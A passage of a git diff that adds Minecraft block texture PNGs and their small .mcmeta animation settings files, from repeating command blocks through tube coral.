b/src/assets/minecraft/textures/block/repeating_command_block_conditional.png differ diff --git a/src/assets/minecraft/textures/block/repeating_command_block_conditional.png.mcmeta b/src/assets/minecraft/textures/block/repeating_command_block_conditional.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/repeating_command_block_conditional.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/repeating_command_block_front.png b/src/assets/minecraft/textures/block/repeating_command_block_front.png new file mode 100644 index 00000000..45f5e75b Binary files /dev/null and b/src/assets/minecraft/textures/block/repeating_command_block_front.png differ diff --git a/src/assets/minecraft/textures/block/repeating_command_block_front.png.mcmeta b/src/assets/minecraft/textures/block/repeating_command_block_front.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/repeating_command_block_front.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/repeating_command_block_side.png b/src/assets/minecraft/textures/block/repeating_command_block_side.png new file mode 100644 index 00000000..efd073ae Binary files /dev/null and b/src/assets/minecraft/textures/block/repeating_command_block_side.png differ diff --git a/src/assets/minecraft/textures/block/repeating_command_block_side.png.mcmeta b/src/assets/minecraft/textures/block/repeating_command_block_side.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/repeating_command_block_side.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/respawn_anchor_bottom.png b/src/assets/minecraft/textures/block/respawn_anchor_bottom.png new file mode 100644 index 00000000..df10b446 Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_bottom.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_side0.png b/src/assets/minecraft/textures/block/respawn_anchor_side0.png new file mode 100644 index 00000000..fb45837d Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_side0.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_side1.png b/src/assets/minecraft/textures/block/respawn_anchor_side1.png new file mode 100644 index 00000000..5b52e65f Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_side1.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_side2.png b/src/assets/minecraft/textures/block/respawn_anchor_side2.png new file mode 100644 index 00000000..6ee3026a Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_side2.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_side3.png b/src/assets/minecraft/textures/block/respawn_anchor_side3.png new file mode 100644 index 00000000..c7f66866 Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_side3.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_side4.png b/src/assets/minecraft/textures/block/respawn_anchor_side4.png new file mode 100644 index 00000000..5ac94e19 Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_side4.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_top.png b/src/assets/minecraft/textures/block/respawn_anchor_top.png new file mode 100644 index 00000000..bbb4b0ea Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_top.png differ diff --git a/src/assets/minecraft/textures/block/respawn_anchor_top.png.mcmeta b/src/assets/minecraft/textures/block/respawn_anchor_top.png.mcmeta new file mode 100644 index 00000000..4f0718ac --- /dev/null +++ b/src/assets/minecraft/textures/block/respawn_anchor_top.png.mcmeta @@ -0,0 +1,3 @@ +{ + "animation": {} +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/respawn_anchor_top_off.png b/src/assets/minecraft/textures/block/respawn_anchor_top_off.png new file mode 100644 index 00000000..560af00c Binary files /dev/null and b/src/assets/minecraft/textures/block/respawn_anchor_top_off.png differ diff --git a/src/assets/minecraft/textures/block/rose_bush_bottom.png b/src/assets/minecraft/textures/block/rose_bush_bottom.png new file mode 100644 index 00000000..4a5f8f52 Binary files /dev/null and b/src/assets/minecraft/textures/block/rose_bush_bottom.png differ diff --git a/src/assets/minecraft/textures/block/rose_bush_top.png b/src/assets/minecraft/textures/block/rose_bush_top.png new file mode 100644 index 00000000..328dc5e7 Binary files /dev/null and b/src/assets/minecraft/textures/block/rose_bush_top.png differ diff --git a/src/assets/minecraft/textures/block/sand.png b/src/assets/minecraft/textures/block/sand.png new file mode 100644 index 00000000..99ff77ae Binary files /dev/null and b/src/assets/minecraft/textures/block/sand.png differ diff --git a/src/assets/minecraft/textures/block/sandstone.png b/src/assets/minecraft/textures/block/sandstone.png new file mode 100644 index 00000000..a7f1ca0e Binary files /dev/null and b/src/assets/minecraft/textures/block/sandstone.png differ diff --git a/src/assets/minecraft/textures/block/sandstone_bottom.png b/src/assets/minecraft/textures/block/sandstone_bottom.png new file mode 100644 index 00000000..be35a54b Binary files /dev/null and b/src/assets/minecraft/textures/block/sandstone_bottom.png differ diff --git a/src/assets/minecraft/textures/block/sandstone_top.png b/src/assets/minecraft/textures/block/sandstone_top.png new file mode 100644 index 00000000..91cec2a7 Binary files /dev/null and b/src/assets/minecraft/textures/block/sandstone_top.png differ diff --git a/src/assets/minecraft/textures/block/scaffolding_bottom.png b/src/assets/minecraft/textures/block/scaffolding_bottom.png new file mode 100644 index 00000000..3479093d Binary files /dev/null and b/src/assets/minecraft/textures/block/scaffolding_bottom.png differ diff --git a/src/assets/minecraft/textures/block/scaffolding_side.png b/src/assets/minecraft/textures/block/scaffolding_side.png new file mode 100644 index 00000000..1d1b5fcc Binary files /dev/null and b/src/assets/minecraft/textures/block/scaffolding_side.png differ diff --git a/src/assets/minecraft/textures/block/scaffolding_top.png b/src/assets/minecraft/textures/block/scaffolding_top.png new file mode 100644 index 00000000..2f9c51a7 Binary files /dev/null and b/src/assets/minecraft/textures/block/scaffolding_top.png differ diff --git a/src/assets/minecraft/textures/block/sea_lantern.png b/src/assets/minecraft/textures/block/sea_lantern.png new file mode 100644 index 00000000..8909ce8e Binary files /dev/null and b/src/assets/minecraft/textures/block/sea_lantern.png differ diff --git a/src/assets/minecraft/textures/block/sea_lantern.png.mcmeta b/src/assets/minecraft/textures/block/sea_lantern.png.mcmeta new file mode 100644 index 00000000..e8ac9bc3 --- /dev/null +++ b/src/assets/minecraft/textures/block/sea_lantern.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 5 + } +} diff --git a/src/assets/minecraft/textures/block/sea_pickle.png b/src/assets/minecraft/textures/block/sea_pickle.png new file mode 100644 index 00000000..d9c541bf Binary files /dev/null and b/src/assets/minecraft/textures/block/sea_pickle.png differ diff --git a/src/assets/minecraft/textures/block/seagrass.png b/src/assets/minecraft/textures/block/seagrass.png new file mode 100644 index 00000000..533f2d59 Binary files /dev/null and b/src/assets/minecraft/textures/block/seagrass.png differ diff --git a/src/assets/minecraft/textures/block/seagrass.png.mcmeta b/src/assets/minecraft/textures/block/seagrass.png.mcmeta new file mode 100644 index 00000000..36578bcc --- /dev/null +++ b/src/assets/minecraft/textures/block/seagrass.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/shroomlight.png b/src/assets/minecraft/textures/block/shroomlight.png new file mode 100644 index 00000000..70487662 Binary files /dev/null and b/src/assets/minecraft/textures/block/shroomlight.png differ diff --git a/src/assets/minecraft/textures/block/shulker_box.png b/src/assets/minecraft/textures/block/shulker_box.png new file mode 100644 index 00000000..09bcf3f8 Binary files /dev/null and b/src/assets/minecraft/textures/block/shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/slime_block.png b/src/assets/minecraft/textures/block/slime_block.png new file mode 100644 index 00000000..5c45c4ec Binary files /dev/null and b/src/assets/minecraft/textures/block/slime_block.png differ diff --git a/src/assets/minecraft/textures/block/smithing_table_bottom.png b/src/assets/minecraft/textures/block/smithing_table_bottom.png new file mode 100644 index 00000000..59833b5e Binary files /dev/null and b/src/assets/minecraft/textures/block/smithing_table_bottom.png differ diff --git a/src/assets/minecraft/textures/block/smithing_table_front.png b/src/assets/minecraft/textures/block/smithing_table_front.png new file mode 100644 index 00000000..55875ef5 Binary files /dev/null and b/src/assets/minecraft/textures/block/smithing_table_front.png differ diff --git a/src/assets/minecraft/textures/block/smithing_table_side.png b/src/assets/minecraft/textures/block/smithing_table_side.png new file mode 100644 index 00000000..419312b1 Binary files /dev/null and b/src/assets/minecraft/textures/block/smithing_table_side.png differ diff --git a/src/assets/minecraft/textures/block/smithing_table_top.png b/src/assets/minecraft/textures/block/smithing_table_top.png new file mode 100644 index 00000000..7099674f Binary files /dev/null and b/src/assets/minecraft/textures/block/smithing_table_top.png differ diff --git a/src/assets/minecraft/textures/block/smoker_bottom.png b/src/assets/minecraft/textures/block/smoker_bottom.png new file mode 100644 index 00000000..9f2dbd33 Binary files /dev/null and b/src/assets/minecraft/textures/block/smoker_bottom.png differ diff --git a/src/assets/minecraft/textures/block/smoker_front.png b/src/assets/minecraft/textures/block/smoker_front.png new file mode 100644 index 00000000..13741178 Binary files /dev/null and b/src/assets/minecraft/textures/block/smoker_front.png differ diff --git a/src/assets/minecraft/textures/block/smoker_front_on.png b/src/assets/minecraft/textures/block/smoker_front_on.png new file mode 100644 index 00000000..553d1ec9 Binary files /dev/null and b/src/assets/minecraft/textures/block/smoker_front_on.png differ diff --git a/src/assets/minecraft/textures/block/smoker_front_on.png.mcmeta b/src/assets/minecraft/textures/block/smoker_front_on.png.mcmeta new file mode 100644 index 00000000..09eaec92 --- /dev/null +++ b/src/assets/minecraft/textures/block/smoker_front_on.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": false, + "frametime": 4 + } +} diff --git a/src/assets/minecraft/textures/block/smoker_side.png b/src/assets/minecraft/textures/block/smoker_side.png new file mode 100644 index 00000000..c3c8f5d7 Binary files /dev/null and b/src/assets/minecraft/textures/block/smoker_side.png differ diff --git a/src/assets/minecraft/textures/block/smoker_top.png b/src/assets/minecraft/textures/block/smoker_top.png new file mode 100644 index 00000000..ff687df9 Binary files /dev/null and b/src/assets/minecraft/textures/block/smoker_top.png differ diff --git a/src/assets/minecraft/textures/block/smooth_stone.png b/src/assets/minecraft/textures/block/smooth_stone.png new file mode 100644 index 00000000..149ceb62 Binary files /dev/null and b/src/assets/minecraft/textures/block/smooth_stone.png differ diff --git a/src/assets/minecraft/textures/block/smooth_stone_slab_side.png b/src/assets/minecraft/textures/block/smooth_stone_slab_side.png new file mode 100644 index 00000000..93076428 Binary files /dev/null and b/src/assets/minecraft/textures/block/smooth_stone_slab_side.png differ diff --git a/src/assets/minecraft/textures/block/snow.png b/src/assets/minecraft/textures/block/snow.png new file mode 100644 index 00000000..c45e0c2a Binary files /dev/null and b/src/assets/minecraft/textures/block/snow.png differ diff --git a/src/assets/minecraft/textures/block/soul_campfire_fire.png b/src/assets/minecraft/textures/block/soul_campfire_fire.png new file mode 100644 index 00000000..d47c39d2 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_campfire_fire.png differ diff --git a/src/assets/minecraft/textures/block/soul_campfire_fire.png.mcmeta b/src/assets/minecraft/textures/block/soul_campfire_fire.png.mcmeta new file mode 100644 index 00000000..d4fb0422 --- /dev/null +++ b/src/assets/minecraft/textures/block/soul_campfire_fire.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "frametime": 2 + } +} + diff --git a/src/assets/minecraft/textures/block/soul_campfire_log_lit.png b/src/assets/minecraft/textures/block/soul_campfire_log_lit.png new file mode 100644 index 00000000..1f3b5924 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_campfire_log_lit.png differ diff --git a/src/assets/minecraft/textures/block/soul_campfire_log_lit.png.mcmeta b/src/assets/minecraft/textures/block/soul_campfire_log_lit.png.mcmeta new file mode 100644 index 00000000..265854e4 --- /dev/null +++ b/src/assets/minecraft/textures/block/soul_campfire_log_lit.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 20 + } +} diff --git a/src/assets/minecraft/textures/block/soul_fire_0.png b/src/assets/minecraft/textures/block/soul_fire_0.png new file mode 100644 index 00000000..32f1c97b Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_fire_0.png differ diff --git a/src/assets/minecraft/textures/block/soul_fire_0.png.mcmeta b/src/assets/minecraft/textures/block/soul_fire_0.png.mcmeta new file mode 100644 index 00000000..76446714 --- /dev/null +++ b/src/assets/minecraft/textures/block/soul_fire_0.png.mcmeta @@ -0,0 +1,38 @@ +{ + "animation": { + "frames": [ + 16, + 17, + 18, + 19, + 20, + 21, + 22, + 23, + 24, + 25, + 26, + 27, + 28, + 29, + 30, + 31, + 0, + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11, + 12, + 13, + 14, + 15 + ] + } +} diff --git a/src/assets/minecraft/textures/block/soul_fire_1.png b/src/assets/minecraft/textures/block/soul_fire_1.png new file mode 100644 index 00000000..f90a8d46 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_fire_1.png differ diff --git a/src/assets/minecraft/textures/block/soul_fire_1.png.mcmeta b/src/assets/minecraft/textures/block/soul_fire_1.png.mcmeta new file mode 100644 index 00000000..4f0718ac --- /dev/null +++ b/src/assets/minecraft/textures/block/soul_fire_1.png.mcmeta @@ -0,0 +1,3 @@ +{ + "animation": {} +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/soul_lantern.png b/src/assets/minecraft/textures/block/soul_lantern.png new file mode 100644 index 00000000..6e909f20 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_lantern.png differ diff --git a/src/assets/minecraft/textures/block/soul_lantern.png.mcmeta b/src/assets/minecraft/textures/block/soul_lantern.png.mcmeta new file mode 100644 index 00000000..5169aabd --- /dev/null +++ b/src/assets/minecraft/textures/block/soul_lantern.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 8 + } +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/soul_sand.png b/src/assets/minecraft/textures/block/soul_sand.png new file mode 100644 index 00000000..9e4b1a6d Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_sand.png differ diff --git a/src/assets/minecraft/textures/block/soul_soil.png b/src/assets/minecraft/textures/block/soul_soil.png new file mode 100644 index 00000000..12cb4577 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_soil.png differ diff --git a/src/assets/minecraft/textures/block/soul_torch.png b/src/assets/minecraft/textures/block/soul_torch.png new file mode 100644 index 00000000..60d21108 Binary files /dev/null and b/src/assets/minecraft/textures/block/soul_torch.png differ diff --git a/src/assets/minecraft/textures/block/spawner.png b/src/assets/minecraft/textures/block/spawner.png new file mode 100644 index 00000000..5f85452f Binary files /dev/null and b/src/assets/minecraft/textures/block/spawner.png differ diff --git a/src/assets/minecraft/textures/block/sponge.png b/src/assets/minecraft/textures/block/sponge.png new file mode 100644 index 00000000..ffb12295 Binary files /dev/null and b/src/assets/minecraft/textures/block/sponge.png differ diff --git a/src/assets/minecraft/textures/block/spruce_door_bottom.png b/src/assets/minecraft/textures/block/spruce_door_bottom.png new file mode 100644 index 00000000..c94ae204 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/spruce_door_top.png b/src/assets/minecraft/textures/block/spruce_door_top.png new file mode 100644 index 00000000..65a86fec Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_door_top.png differ diff --git a/src/assets/minecraft/textures/block/spruce_leaves.png b/src/assets/minecraft/textures/block/spruce_leaves.png new file mode 100644 index 00000000..f7f49939 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_leaves.png differ diff --git a/src/assets/minecraft/textures/block/spruce_log.png b/src/assets/minecraft/textures/block/spruce_log.png new file mode 100644 index 00000000..2aeca1b2 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_log.png differ diff --git a/src/assets/minecraft/textures/block/spruce_log_top.png b/src/assets/minecraft/textures/block/spruce_log_top.png new file mode 100644 index 00000000..bb66f32b Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_log_top.png differ diff --git a/src/assets/minecraft/textures/block/spruce_planks.png b/src/assets/minecraft/textures/block/spruce_planks.png new file mode 100644 index 00000000..7afbde74 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_planks.png differ diff --git a/src/assets/minecraft/textures/block/spruce_sapling.png b/src/assets/minecraft/textures/block/spruce_sapling.png new file mode 100644 index 00000000..37aeb9c0 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_sapling.png differ diff --git a/src/assets/minecraft/textures/block/spruce_trapdoor.png b/src/assets/minecraft/textures/block/spruce_trapdoor.png new file mode 100644 index 00000000..c9ff2ee5 Binary files /dev/null and b/src/assets/minecraft/textures/block/spruce_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/stone.png b/src/assets/minecraft/textures/block/stone.png new file mode 100644 index 00000000..2665baef Binary files /dev/null and b/src/assets/minecraft/textures/block/stone.png differ diff --git a/src/assets/minecraft/textures/block/stone_bricks.png b/src/assets/minecraft/textures/block/stone_bricks.png new file mode 100644 index 00000000..c4773439 Binary files /dev/null and b/src/assets/minecraft/textures/block/stone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/stonecutter_bottom.png b/src/assets/minecraft/textures/block/stonecutter_bottom.png new file mode 100644 index 00000000..a9af82d3 Binary files /dev/null and b/src/assets/minecraft/textures/block/stonecutter_bottom.png differ diff --git a/src/assets/minecraft/textures/block/stonecutter_saw.png b/src/assets/minecraft/textures/block/stonecutter_saw.png new file mode 100644 index 00000000..38b8654b Binary files /dev/null and b/src/assets/minecraft/textures/block/stonecutter_saw.png differ diff --git a/src/assets/minecraft/textures/block/stonecutter_saw.png.mcmeta b/src/assets/minecraft/textures/block/stonecutter_saw.png.mcmeta new file mode 100644 index 00000000..a328ca58 --- /dev/null +++ b/src/assets/minecraft/textures/block/stonecutter_saw.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": false, + "frametime": 1 + } +} diff --git a/src/assets/minecraft/textures/block/stonecutter_side.png b/src/assets/minecraft/textures/block/stonecutter_side.png new file mode 100644 index 00000000..873361c4 Binary files /dev/null and b/src/assets/minecraft/textures/block/stonecutter_side.png differ diff --git a/src/assets/minecraft/textures/block/stonecutter_top.png b/src/assets/minecraft/textures/block/stonecutter_top.png new file mode 100644 index 00000000..208b3e7c Binary files /dev/null and b/src/assets/minecraft/textures/block/stonecutter_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_acacia_log.png b/src/assets/minecraft/textures/block/stripped_acacia_log.png new file mode 100644 index 00000000..29cca3ad Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_acacia_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_acacia_log_top.png b/src/assets/minecraft/textures/block/stripped_acacia_log_top.png new file mode 100644 index 00000000..11d22479 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_acacia_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_birch_log.png b/src/assets/minecraft/textures/block/stripped_birch_log.png new file mode 100644 index 00000000..24b33c55 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_birch_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_birch_log_top.png b/src/assets/minecraft/textures/block/stripped_birch_log_top.png new file mode 100644 index 00000000..1922d354 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_birch_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_crimson_stem.png b/src/assets/minecraft/textures/block/stripped_crimson_stem.png new file mode 100644 index 00000000..12f31e0b Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_crimson_stem.png differ diff --git a/src/assets/minecraft/textures/block/stripped_crimson_stem_top.png b/src/assets/minecraft/textures/block/stripped_crimson_stem_top.png new file mode 100644 index 00000000..c66a7263 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_crimson_stem_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_dark_oak_log.png b/src/assets/minecraft/textures/block/stripped_dark_oak_log.png new file mode 100644 index 00000000..99147a50 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_dark_oak_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_dark_oak_log_top.png b/src/assets/minecraft/textures/block/stripped_dark_oak_log_top.png new file mode 100644 index 00000000..546914f9 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_dark_oak_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_jungle_log.png b/src/assets/minecraft/textures/block/stripped_jungle_log.png new file mode 100644 index 00000000..e3eb0ac1 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_jungle_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_jungle_log_top.png b/src/assets/minecraft/textures/block/stripped_jungle_log_top.png new file mode 100644 index 00000000..785200d5 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_jungle_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_oak_log.png b/src/assets/minecraft/textures/block/stripped_oak_log.png new file mode 100644 index 00000000..0a1d34c3 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_oak_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_oak_log_top.png b/src/assets/minecraft/textures/block/stripped_oak_log_top.png new file mode 100644 index 00000000..c845578b Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_oak_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_spruce_log.png b/src/assets/minecraft/textures/block/stripped_spruce_log.png new file mode 100644 index 00000000..28571249 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_spruce_log.png differ diff --git a/src/assets/minecraft/textures/block/stripped_spruce_log_top.png b/src/assets/minecraft/textures/block/stripped_spruce_log_top.png new file mode 100644 index 00000000..f2353bed Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_spruce_log_top.png differ diff --git a/src/assets/minecraft/textures/block/stripped_warped_stem.png b/src/assets/minecraft/textures/block/stripped_warped_stem.png new file mode 100644 index 00000000..de6d3e58 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_warped_stem.png differ diff --git a/src/assets/minecraft/textures/block/stripped_warped_stem_top.png b/src/assets/minecraft/textures/block/stripped_warped_stem_top.png new file mode 100644 index 00000000..10b17447 Binary files /dev/null and b/src/assets/minecraft/textures/block/stripped_warped_stem_top.png differ diff --git a/src/assets/minecraft/textures/block/structure_block.png b/src/assets/minecraft/textures/block/structure_block.png new file mode 100644 index 00000000..f03ea5fe Binary files /dev/null and b/src/assets/minecraft/textures/block/structure_block.png differ diff --git a/src/assets/minecraft/textures/block/structure_block_corner.png b/src/assets/minecraft/textures/block/structure_block_corner.png new file mode 100644 index 00000000..418fd05c Binary files /dev/null and b/src/assets/minecraft/textures/block/structure_block_corner.png differ diff --git a/src/assets/minecraft/textures/block/structure_block_data.png b/src/assets/minecraft/textures/block/structure_block_data.png new file mode 100644 index 00000000..75ea3083 Binary files /dev/null and b/src/assets/minecraft/textures/block/structure_block_data.png differ diff --git a/src/assets/minecraft/textures/block/structure_block_load.png b/src/assets/minecraft/textures/block/structure_block_load.png new file mode 100644 index 00000000..aca338b1 Binary files /dev/null and b/src/assets/minecraft/textures/block/structure_block_load.png differ diff --git a/src/assets/minecraft/textures/block/structure_block_save.png b/src/assets/minecraft/textures/block/structure_block_save.png new file mode 100644 index 00000000..64709278 Binary files /dev/null and b/src/assets/minecraft/textures/block/structure_block_save.png differ diff --git a/src/assets/minecraft/textures/block/sugar_cane.png b/src/assets/minecraft/textures/block/sugar_cane.png new file mode 100644 index 00000000..ba0be9ec Binary files /dev/null and b/src/assets/minecraft/textures/block/sugar_cane.png differ diff --git a/src/assets/minecraft/textures/block/sunflower_back.png b/src/assets/minecraft/textures/block/sunflower_back.png new file mode 100644 index 00000000..a53f762f Binary files /dev/null and b/src/assets/minecraft/textures/block/sunflower_back.png differ diff --git a/src/assets/minecraft/textures/block/sunflower_bottom.png b/src/assets/minecraft/textures/block/sunflower_bottom.png new file mode 100644 index 00000000..c5c8c629 Binary files /dev/null and b/src/assets/minecraft/textures/block/sunflower_bottom.png differ diff --git a/src/assets/minecraft/textures/block/sunflower_front.png b/src/assets/minecraft/textures/block/sunflower_front.png new file mode 100644 index 00000000..568bd4d7 Binary files /dev/null and b/src/assets/minecraft/textures/block/sunflower_front.png differ diff --git a/src/assets/minecraft/textures/block/sunflower_top.png b/src/assets/minecraft/textures/block/sunflower_top.png new file mode 100644 index 00000000..b9747f7e Binary files /dev/null and b/src/assets/minecraft/textures/block/sunflower_top.png differ diff --git a/src/assets/minecraft/textures/block/sweet_berry_bush_stage0.png b/src/assets/minecraft/textures/block/sweet_berry_bush_stage0.png new file mode 100644 index 00000000..6b5854da Binary files /dev/null and b/src/assets/minecraft/textures/block/sweet_berry_bush_stage0.png differ diff --git a/src/assets/minecraft/textures/block/sweet_berry_bush_stage1.png b/src/assets/minecraft/textures/block/sweet_berry_bush_stage1.png new file mode 100644 index 00000000..216269ca Binary files /dev/null and b/src/assets/minecraft/textures/block/sweet_berry_bush_stage1.png differ diff --git a/src/assets/minecraft/textures/block/sweet_berry_bush_stage2.png b/src/assets/minecraft/textures/block/sweet_berry_bush_stage2.png new file mode 100644 index 00000000..4254cc09 Binary files /dev/null and b/src/assets/minecraft/textures/block/sweet_berry_bush_stage2.png differ diff --git a/src/assets/minecraft/textures/block/sweet_berry_bush_stage3.png b/src/assets/minecraft/textures/block/sweet_berry_bush_stage3.png new file mode 100644 index 00000000..755ba234 Binary files /dev/null and b/src/assets/minecraft/textures/block/sweet_berry_bush_stage3.png differ diff --git a/src/assets/minecraft/textures/block/tall_grass_bottom.png b/src/assets/minecraft/textures/block/tall_grass_bottom.png new file mode 100644 index 00000000..54bb7d6a Binary files /dev/null and b/src/assets/minecraft/textures/block/tall_grass_bottom.png differ diff --git a/src/assets/minecraft/textures/block/tall_grass_top.png b/src/assets/minecraft/textures/block/tall_grass_top.png new file mode 100644 index 00000000..4598b7ac Binary files /dev/null and b/src/assets/minecraft/textures/block/tall_grass_top.png differ diff --git a/src/assets/minecraft/textures/block/tall_seagrass_bottom.png b/src/assets/minecraft/textures/block/tall_seagrass_bottom.png new file mode 100644 index 00000000..bb8d72d8 Binary files /dev/null and b/src/assets/minecraft/textures/block/tall_seagrass_bottom.png differ diff --git a/src/assets/minecraft/textures/block/tall_seagrass_bottom.png.mcmeta b/src/assets/minecraft/textures/block/tall_seagrass_bottom.png.mcmeta new file mode 100644 index 00000000..36578bcc --- /dev/null +++ b/src/assets/minecraft/textures/block/tall_seagrass_bottom.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/tall_seagrass_top.png b/src/assets/minecraft/textures/block/tall_seagrass_top.png new file mode 100644 index 00000000..1e52c7c1 Binary files /dev/null and b/src/assets/minecraft/textures/block/tall_seagrass_top.png differ diff --git a/src/assets/minecraft/textures/block/tall_seagrass_top.png.mcmeta b/src/assets/minecraft/textures/block/tall_seagrass_top.png.mcmeta new file mode 100644 index 00000000..36578bcc --- /dev/null +++ b/src/assets/minecraft/textures/block/tall_seagrass_top.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/target_side.png b/src/assets/minecraft/textures/block/target_side.png new file mode 100644 index 00000000..372cded4 Binary files /dev/null and b/src/assets/minecraft/textures/block/target_side.png differ diff --git a/src/assets/minecraft/textures/block/target_top.png b/src/assets/minecraft/textures/block/target_top.png new file mode 100644 index 00000000..63463fc4 Binary files /dev/null and b/src/assets/minecraft/textures/block/target_top.png differ diff --git a/src/assets/minecraft/textures/block/terracotta.png b/src/assets/minecraft/textures/block/terracotta.png new file mode 100644 index 00000000..1f78b155 Binary files /dev/null and b/src/assets/minecraft/textures/block/terracotta.png differ diff --git a/src/assets/minecraft/textures/block/tnt_bottom.png b/src/assets/minecraft/textures/block/tnt_bottom.png new file mode 100644 index 00000000..53f78d70 Binary files /dev/null and b/src/assets/minecraft/textures/block/tnt_bottom.png differ diff --git a/src/assets/minecraft/textures/block/tnt_side.png b/src/assets/minecraft/textures/block/tnt_side.png new file mode 100644 index 00000000..74d66c70 Binary files /dev/null and b/src/assets/minecraft/textures/block/tnt_side.png differ diff --git a/src/assets/minecraft/textures/block/tnt_top.png b/src/assets/minecraft/textures/block/tnt_top.png new file mode 100644 index 00000000..078dc312 Binary files /dev/null and b/src/assets/minecraft/textures/block/tnt_top.png differ diff --git a/src/assets/minecraft/textures/block/torch.png b/src/assets/minecraft/textures/block/torch.png new file mode 100644 index 00000000..14bd2d70 Binary files /dev/null and b/src/assets/minecraft/textures/block/torch.png differ diff --git a/src/assets/minecraft/textures/block/tripwire.png b/src/assets/minecraft/textures/block/tripwire.png new file mode 100644 index 00000000..5b422eff Binary files /dev/null and b/src/assets/minecraft/textures/block/tripwire.png differ diff --git a/src/assets/minecraft/textures/block/tripwire_hook.png b/src/assets/minecraft/textures/block/tripwire_hook.png new file mode 100644 index 00000000..1eda9ef6 Binary files /dev/null and b/src/assets/minecraft/textures/block/tripwire_hook.png differ diff --git a/src/assets/minecraft/textures/block/tube_coral.png b/src/assets/minecraft/textures/block/tube_coral.png new file mode 100644 index 00000000..484a854d Binary files /dev/null and b/src/assets/minecraft/textures/block/tube_coral.png differ diff --git a/src/assets/minecraft/textures/block/tube_coral_block.png b/src/assets/minecraft/textures/block/tube_coral_block.png new file mode 100644 index 00000000..756d32d8 Binary files /dev/null and 